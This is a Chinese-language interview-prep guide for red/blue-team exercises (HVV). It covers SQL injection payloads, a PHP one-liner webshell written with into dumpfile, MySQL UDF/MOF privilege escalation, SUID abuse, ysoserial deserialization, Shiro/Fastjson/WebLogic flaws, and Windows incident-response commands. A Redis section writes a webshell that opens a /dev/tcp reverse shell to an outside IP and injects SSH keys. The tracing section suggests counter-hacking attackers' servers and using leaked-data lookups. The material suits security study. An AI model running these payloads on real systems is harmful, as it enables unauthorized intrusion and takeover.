本篇文章作为《护网-HVV-面试题大全.md》和《护网蓝队基础补全(一)》的第二弹配套补充,聚焦于面试中容易问到的深度技术细节和实战操作,涵盖 SQL 注入深度补充、提权手法详解、应急排查标准操作、反序列化利用与防御、不出网场景处理、Windows 主机排查实操等内容。
一、SQL 注入深度补充(面试高频追问)
1.1 SQL 注入的六种类型
SQLMAP 将 SQL 注入分为以下六种类型,面试中问到”有哪些注入方式”建议按此回答:
| 类型 | 说明 | 判断方法 |
|---|---|---|
| 报错注入 | 通过数据库报错信息获取数据 | 提交错误语法后页面返回数据库错误信息 |
| 布尔盲注 | 根据页面返回真/假判断条件 | and 1=1 正常、and 1=2 异常 |
| 时间盲注 | 根据页面响应时间差判断 | if(ascii(substr("hello",1,1))=104, sleep(5), 1) |
| 联合查询注入 | 使用 UNION 拼接查询 | union select 1,2,3,4-- |
| 内联注入 | 在原有查询中嵌入额外条件 | select * from users where id = 1 or 1=1 |
| 堆叠注入 | 用 ; 分隔执行多条语句 |
select * from users; drop table admins-- |
面试加分点: 提到堆叠注入在 MySQL 中通常受限(多数 API 不支持多语句),而在 SQL Server 和 PostgreSQL 中更常见。
1.2 报错注入的十种函数
MySQL 报错注入常见函数(建议记住前 4 个,其余了解即可):
| # | 函数 | 语法示例 |
|---|---|---|
| 1 | extractvalue() |
and extractvalue(1, concat(0x7e,(select @@version),0x7e)) |
| 2 | updatexml() |
and updatexml(1, concat(0x7e,(select @@version),0x7e),1) |
| 3 | floor() |
and (select 1 from (select count(*),concat(floor(rand(0)*2),0x7e,(select user()))a from information_schema.tables group by a)b) |
| 4 | exp() |
and exp(~(select * from(select user())a)) |
| 5 | geometrycollection() |
and geometrycollection((select * from(select * from(select user())a)b)) |
| 6 | multipoint() |
and multipoint((select * from(select * from(select user())a)b)) |
| 7 | polygon() |
and polygon((select * from(select * from(select user())a)b)) |
| 8 | multipolygon() |
and multipolygon((select * from(select * from(select user())a)b)) |
| 9 | linestring() |
and linestring((select * from(select * from(select user())a)b)) |
| 10 | multilinestring() |
and multilinestring((select * from(select * from(select user())a)b)) |
1.3 盲注 vs 延时注入共同点
面试高频问题: “盲注和延时注入的共同点?”
共同点:都是一个字符一个字符地猜解。通过逐字符比较(substr()、mid()、ascii() 等函数)来获取数据库内容,效率低但稳定。
1.4 SQL 注入写文件函数
面试问”写 WebShell 需要什么条件”时回答重点:
select '一句话木马内容' into outfile '路径'
select '一句话木马内容' into dumpfile '路径'
-- 示例:
select '<?php @eval($_POST[1]); ?>' into dumpfile 'd:\\wwwroot\\baidu.com\\nvhack.php'
into outfile 与 into dumpfile 的区别:
outfile:写文件时会添加换行符和转义,可能破坏二进制文件dumpfile:按原样写入,不添加任何额外内容,适合写二进制数据
写入条件:
- MySQL 全局变量
secure_file_priv不为 NULL - 数据库用户有
FILE权限 - 目标目录有 MySQL 写权限
回答示例: “MySQL 写 WebShell 需要确认三个条件——secure_file_priv 不为 NULL、有 FILE 权限、Web 目录可写。用 into dumpfile 写 PHP 一句话是最常见的做法。”
二、权限提升细节补充
2.1 MySQL UDF 提权完整步骤
要求:
- 目标系统为 Windows(Win2000/XP/2003/2008)
- 拥有 MySQL 某个用户账号(最好是 root)
- 该账号有对
mysql库的 INSERT 和 DELETE 权限
步骤:
确认 MySQL 版本和安装路径:
select @@basedir; show variables like '%plugins%';寻找插件目录: MySQL 5.1 以上版本需将
udf.dll放在lib\plugin目录下导入 UDF 动态库:
- 通过
into dumpfile将 DLL 写到插件目录 - 或使用 sqlmap 的
--os-shell自动处理
- 通过
创建自定义函数:
create function sys_exec returns integer soname 'udf.dll'; create function cmdshell returns string soname 'udf.dll';执行系统命令:
select sys_exec('whoami');
蓝队视角: UDF 提权在实战中 MySQL < 5.1 更容易(插件目录限制更少),windows 比 linux 更常见。防守方应监控 mysql\lib\plugin 目录的 DLL 写入和 create function 语句。
2.2 MySQL 提权的三种方式
| 方式 | 原理 | 条件 |
|---|---|---|
| UDF 提权 | 通过自定义函数调用系统命令 | MySQL root + 插件目录可写 |
| MOF 提权 | 利用 Windows 管理规范(WMI)的 MOF 文件每 10 秒自动执行机制 | MySQL root + secure_file_priv 允许 + Windows 系统 |
| 启动项提权 | 将 VBS/批处理脚本写入 Windows 启动目录 | MySQL 可写启动目录 + 服务器重启 |
MOF 提权路径示例: select load_file('mof.txt') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof'
启动项提权路径: C:\Documents and Settings\All Users\Start Menu\Programs\Startup\
2.3 Windows Server 2008 提权特点
Windows Server 2008 默认支持 ASPX,原本就具有一定的命令执行能力。面试回答重点:
- 系统补丁未修复时: 利用溢出提权工具(如 MS16-032、MS15-051、MS14-058 等)直接提权
- 系统补丁已修复时: 转向其他方式——土豆家族(JuicyPotato/RottenPotato/PrintSpoofer)、服务权限利用、DLL 劫持等
- IIS 提权: 获取 IIS 配置信息,添加后门用户(IIS 6.0 常见)
- SUID 提权(Linux): 查找 SUID 文件
find / -perm -4000 2>/dev/null,利用 nmap、find 等命令打开 shell
2.4 Linux SUID 提权
大多数应用用户没有登录权限,可以通过 SUID 提权。
查找 SUID 文件:
find / -perm -4000 2>/dev/null
常见可利用的 SUID 文件: nmap(低版本含交互模式)、find、vim、bash、less、more、cp 等。
利用方式(以 find 为例):
find / -exec whoami \; # 以 SUID 文件所有者权限执行
查看可登录用户:
cat /etc/passwd | grep '/bin/bash'
awk -F: '{if($3==0) print $1}' /etc/passwd # 查看超级权限账户
2.5 不出网场景的处理方法
漏洞利用不出网(反序列化不回显):
- 让漏洞回显——通过错误回显、DNS 带外(OOB)、HTTP 请求外带等方式
- 使用
sleep()、ping等延时检测来盲确认
拿到 WebShell 后不出网:
- reg(Windows 远程注册表)上传文件正向连接
- 探测出网协议:DNS(通过 nslookup/dig 确认)、ICMP(ping 出网)、HTTP/S(代理)
- 利用 DNS over HTTPS(DoH)绕过限制
- 通过已出网的主机做跳板(正向代理转发)
三、Java 反序列化深度补充
3.1 Java 序列化/反序列化核心
序列化(Serialization): Java 对象 → 字节序列(ObjectOutputStream.writeObject())
反序列化(Deserialization): 字节序列 → Java 对象(ObjectInputStream.readObject())
只有实现了 Serializable 或 Externalizable 接口的类才能被序列化。
流量检测特征: Java 序列化数据以十六进制 ac ed 00 05 开头(魔术头 Magic Number),流量分析时可通过该特征快速发现反序列化攻击请求。对应 Base64 编码为 rO0AB 开头。此外还有 fastjson 序列化(JSON 格式)和 protobuf 序列化(二进制但无固定魔数)。
PHP 序列化格式速记: O:7:"chybeta":1:{s:4:"test";s:3:"123";}——O 对象、7 类名长度、1 属性数、s 字符串。
3.2 Java 反序列化写 WebShell(实操方法)
通过 ysoserial 工具生成 Payload,使用 stderr 输出避免影响 Payload:
# 如果调用 ysoserial 时命令参数处有 "code:" 就可以执行 Java 代码
# 否则执行系统命令
java -jar ysoserial.jar CommonsCollections1 "code:Runtime.getRuntime().exec('cmd')"
步骤:
- 使用 ysoserial 生成反序列化 Payload
- 将 Payload 发送到目标服务器触发反序列化
- 获取 Web 目录路径
- 向 Web 目录写入 WebShell 文件
实战打点策略: 优先使用 Java 反序列化漏洞(Shiro、Fastjson、WebLogic、用友 OA 等)进行打点,因为 Java Web 程序通常以高权限运行(部分可能降权)。
3.3 Shiro 漏洞发现方法
未登录状态:
- 请求包 Cookie 中没有
rememberMe字段,返回包Set-Cookie中也没有deleteMe字段
登录失败(不管是否勾选 RememberMe):
- 返回包都会有
rememberMe=deleteMe字段
登录成功(不勾选 RememberMe):
- 返回包
Set-Cookie中有rememberMe=deleteMe字段 - 但后续所有请求的 Cookie 中都不会有
rememberMe字段
登录成功(勾选 RememberMe):
- 返回包
Set-Cookie有rememberMe=deleteMe字段 - 还会有
rememberMe字段 - 之后所有请求的 Cookie 中都会有
rememberMe字段
Shiro 漏洞类型:
- Shiro 550: RememberMe 使用默认密钥,攻击者可构造恶意反序列化数据触发 RCE
- Shiro 721: RememberMe 使用动态密钥,但可以通过 Padding Oracle 攻击绕过
简易检测: 登录失败时返回 rememberMe=deleteMe Cookie,或者在请求头中添加 rememberMe=任意值 查看响应差异。也可使用 ShiroScan 被动扫描发现。
3.4 Fastjson 漏洞利用原理
核心原理: Fastjson 在处理 JSON 对象时没有对 @type 字段进行充分过滤,攻击者可以传入恶意的 TemplatesImpl 类,该类有一个 _bytecodes 字段,部分函数会根据这个字段生成 Java 实例——这就达到了通过字段传入恶意类,再通过类被生成时执行构造函数中的恶意代码。
防守方重点: 关注请求 Body 中 @type 字段、检测反序列化链对应的特征字节码。
3.5 WebLogic 漏洞概览
| 漏洞类型 | 说明 |
|---|---|
| T3 协议反序列化 | CVE-2015-4852、CVE-2016-0638、CVE-2017-3248 等,T3 协议传输恶意序列化数据 |
| XML 解析反序列化 | XMLDecoder 反序列化 RCE(CVE-2017-10271、CVE-2019-2725) |
| SSRF | CVE-2014-4210,可探测内网 |
| 权限绕过 | CVE-2020-14882 + CVE-2020-14750,未授权访问控制台 |
| 权限绕过 + RCE | CVE-2021-2109 等 |
| IIOP 协议 | Java RMI 的另一种实现方式,默认使用 JRMP 协议也可选择 IIOP,同样存在反序列化风险 |
IIOP 与 RMI 的关系:
- Java RMI(Remote Method Invocation)默认使用 JRMP 协议
- IIOP(Internet Inter-ORB Protocol)是 CORBA 的传输协议,也可以用于 RMI 通信
- 两者本质上都是远程方法调用,都面临反序列化攻击风险
- IIOP 较 JRMP 更复杂,攻击面更多
WebLogic 权限绕过方式: 使用 ./ 进行路径拼接绕过鉴权(/console/css/./console.portal),利用路径规范化差异绕过控制台登录。
四、Windows 应急排查实操(标准步骤)
4.1 查看系统是否存在可疑账号
# 查看所有用户
net user
lusrmgr.msc # 打开用户管理界面,检查是否有新增/可疑账号
# 查看 Administrators 组成员
net localgroup administrators
4.2 查看隐藏账号和克隆账号
隐藏账号检测(注册表方法):
- Win+R 输入
regedit打开注册表 - 检查
SAM键值:HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names - 对比注册表中的用户列表与
net user显示的用户列表是否一致
克隆账号检测: 使用 D盾_Web 查杀工具,集成了克隆账号检测功能。
4.3 结合日志检查管理员登录异常
eventvwr.msc # 打开"事件查看器"
重点关注日志 ID:
| 日志 ID | 说明 | 关注点 |
|---|---|---|
| 4624 | 成功登录 | 异常时间、异常来源 IP |
| 4625 | 登录失败 | 暴力破解尝试 |
| 4672 | 特殊登录(赋予管理员权限) | 异常高权限登录 |
| 4634/4647 | 注销 | 配合 4624 确定登录时长 |
| 4720 | 创建用户 | 可疑账号创建 |
| 4732 | 用户加入安全组 | 被加入 Administrators 组 |
| 7045 | 安装服务 | 恶意服务安装 |
4.4 检查异常端口和进程
Step 1——查看网络连接:
netstat -ano # 查看所有连接,定位可疑的 ESTABLISHED
netstat -ano | findstr "ESTABLISHED"
Step 2——根据 PID 定位进程:
tasklist | findstr "PID"
tasklist /svc # 查看进程对应的服务
# 查看进程对应的程序位置:
# 任务管理器 → 选择对应进程 → 右键打开文件位置
# 或使用 wmic
wmic process where processid=PID get name,executablepath
Step 3——使用 msinfo32 查看进程详情:
msinfo32
# 依次点击:软件环境 → 正在运行任务
# 可查看进程路径、进程ID、文件创建日期、启动时间等
需要关注的异常进程特征:
- 没有签名验证信息的进程
- 没有描述信息的进程
- 进程的属主不合法
- CPU 或内存占用长时间过高
- 进程路径异常(如运行在临时目录、用户目录等)
工具辅助: D盾_Web 查杀工具 → 进程查看 → 关注没有签名信息的进程
微软官方工具: Process Explorer
4.5 检查启动项
四种检查方式:
# 方法1:msconfig(系统配置)
msconfig
# 启动 → 任务管理器 → 启动(Win10+)
# 方法2:注册表(重点关注以下键)
regedit
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce
# 方法3:启动文件夹
%UserProfile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
# 方法4:组策略
gpedit.msc
4.6 检查计划任务
schtasks # 查看计划任务列表
at # 查看旧版定时任务(用于对比)
# 控制面板方式:
# 控制面板 → 管理工具 → 任务计划程序
4.7 查找可疑目录及文件
# 检查用户目录下是否有新建用户目录
# Windows 2003: C:\Documents and Settings\
# Windows 2008+: C:\Users\
# 分析最近打开文件
%UserProfile%\Recent
# 按时间排序查找可疑文件
dir /s /od [目标目录]
# 查找最近 n 天内修改过的文件
forfiles /p C:\inetpub\wwwroot /s /d +7 /c "cmd /c echo @path @fdate @ftime"
4.8 系统版本和补丁信息
systeminfo # 查看系统版本和已安装补丁
# 重点关注:
# - 系统启动时间(是否异常重启)
# - 已安装的补丁(是否存在可利用漏洞未修复)
# - 网卡配置(是否多 IP、异常 DNS)
4.9 服务自启动检查
services.msc # 查看所有服务
sc query # 命令行查看服务列表
# 重点关注:
# - 启动类型为"自动"但不认识的服务
# - 非微软签名的服务
# - 最近新增的服务(配合日志 ID 7045)
五、打点策略与攻击面理解
5.1 红队打点的一般顺序
红队打点通常按以下优先级:
第一梯队——Java 反序列化类(高权限、成功率最高):
- Shiro(RememberMe 反序列化)
- Fastjson(@type 反序列化)
- WebLogic(T3/XML/SSRF)
- 用友 OA、致远 OA 等 OA 系统历史漏洞
- Spring Cloud Gateway(CVE-2022-22947)
第二梯队——Web 漏洞类:
- 文件上传(直接 getshell)
- RCE(命令执行、代码执行)
- SQL 注入(可能写 WebShell)
第三梯队——弱口令/未授权类:
- 后台弱口令
- 数据库弱口令
- Redis 未授权访问
- Elasticsearch 未授权访问
为什么 Java 反序列化优先级高: Java Web 程序通常以高权限运行(部分可能降权),成功即可直接控制服务器。
5.2 蓝队防守打点阶段
反序列化类防守:
- 及时更新组件版本
- WAF 规则覆盖反序列化 Payload 特征
- 关注
@type、T3协议、rmi://、ldap://等特征 - 部署 RASP 或类似方案检测反序列化利用
文件上传类防守:
- 白名单验证后缀
- 上传目录禁止解析脚本
- 随机重命名文件
中间件管理端口保护:
- Tomcat/JBoss/WebLogic 管理端口不对外
- 添加双因素认证或至少强密码
六、补充排查命令与工具速查
6.1 扫描器 vs 手工流量判断
| 判断维度 | 扫描器特征 | 手工特征 |
|---|---|---|
| 请求频率 | 高速连续,毫秒级间隔 | 低速,间隔较长 |
| 命中率 | 大量 404,盲目扫描 | 先探测再利用 |
| UA 头 | 常见 sqlmap、AWVS 等默认 UA | 正常浏览器 UA |
| Payload | 大量测试语句 | 针对性 Payload |
| 攻击模式 | 一套脚本自动化测试 | 逐步骤人工操作 |
蓝队应对: 扫描器流量特征明显,WAF 或态势感知可直接识别。但经验丰富的红队会使用慢速扫描、代理池、修改默认 UA 等方式对抗。需要结合多维度判断。
6.2 反弹 Shell 写入方式
通过 Redis 未授权访问写 Shell:
# 连接 Redis
redis-cli -h target_ip
# 写入反弹 Shell(利用 Redis 持久化功能)
config set dir /var/www/html
config set dbfilename shell.php
set x "<?php system('bash -i >& /dev/tcp/10.0.0.1/4444 0>&1');?>"
save
通过 SSH key 登录(Redis 未授权):
# 将自己的 SSH 公钥写入 Redis,再写入目标 ~/.ssh/authorized_keys
config set dir /root/.ssh/
config set dbfilename authorized_keys
set x "ssh-rsa AAAAB3...your-public-key..."
save
6.3 SQL 注入写 WebShell 实战要点
- 需要 Web 目录绝对路径(可通过报错、phpinfo 等获取)
- 确认 MySQL 用户的
FILE权限 - 确认
secure_file_priv配置 - 使用
into dumpfile而非into outfile(避免转义问题) - 注意写入文件的权限:Web 用户需能读取
6.4 横向渗透攻击判断
判断依据: 检测到用户账户来自于不正常或非授权系统,或者在不正常或非授权系统中使用——这种情况下存在横向渗透攻击。
检测侧重点:
- 同一个账号在短时间内从多台主机登录
- 管理账号从非管理主机登录
- 非业务时间异常登录
- 使用明文协议(Telnet、FTP)的横向连接
七、溯源反制与研判实践
7.1 溯源常用方法
| 方法 | 操作要点 | 典型场景 |
|---|---|---|
| IP 定位 | 通过 IP 地理信息定位,注意代理 IP 干扰 | 基础溯源 |
| ID 追踪 | 搜索引擎 + 社交平台 + 技术论坛 + 社工库 | 发现攻击者 ID 后 |
| URL Whois | 域名注册信息查询,可能获取姓名/电话/邮箱 | 钓鱼域名 |
| 恶意样本分析 | 提取样本中 ID、邮箱、C2、同源分析 | 后门文件分析 |
| 社交账号 | 利用 JSONP 接口获取浏览器信息/真实 IP | 攻击者访问特定页面 |
| 反向渗透 | 对攻击者服务器进行端口扫描和渗透 | 高级溯源 |
7.2 研判与上报实操
研判前准备工作:
- 提前了解客户网络拓扑和部署的设备情况
- 排除常见干扰告警:挖矿、蠕虫、病毒、DoS 等(直接过滤减少数量)
- 准备好威胁情报工具(微步在线、奇安信威胁情报中心、绿盟威胁情报云)
研判核心思路:
真实攻击不可能只持续一次——它一定是长时间、周期性、多 IP 的进行攻击。
单条告警判断方法:
- 使用威胁情报平台查询源 IP 恶意评分
- 排除内部设备和已知扫描器 IP
- 检查告警中请求方法、路径、参数是否包含恶意 Payload
- 查看是否有实际攻击成功的回显
上报要点(防守关键):
- 提供完整截图(源 IP、目的 IP、请求包请求体、响应包响应体)
- 不要忽略内网告警(需要同样关注)
- 在必要时往前推排查时间(攻击者可能早已进入)
研判团队协作: 多人同时值守时,建立统一的事件上报平台,避免多人重复处理同一条告警。
7.3 攻击者画像
| 画像维度 | 内容 |
|---|---|
| 攻击路径 | 入口 → 横向移动 → 落脚点 → 目标 |
| 攻击目的 | 拿权限、窃数据、搞破坏 |
| 网络代理 | 代理 IP、跳板机、C2 服务器、VPN |
| 攻击手法 | 钓鱼、Web 渗透、水坑、近源渗透、社工 |
| 虚拟身份 | ID、昵称、网名、论坛账号 |
| 真实身份 | 姓名、物理位置 |
| 联系方式 | 手机号、QQ/微信、邮箱 |
| 组织情况 | 单位名称、职位信息 |
声明: 本文所有内容仅用于合法的安全防御学习、蓝队能力建设和护网演练准备。禁止用于未授权的网络攻击行为。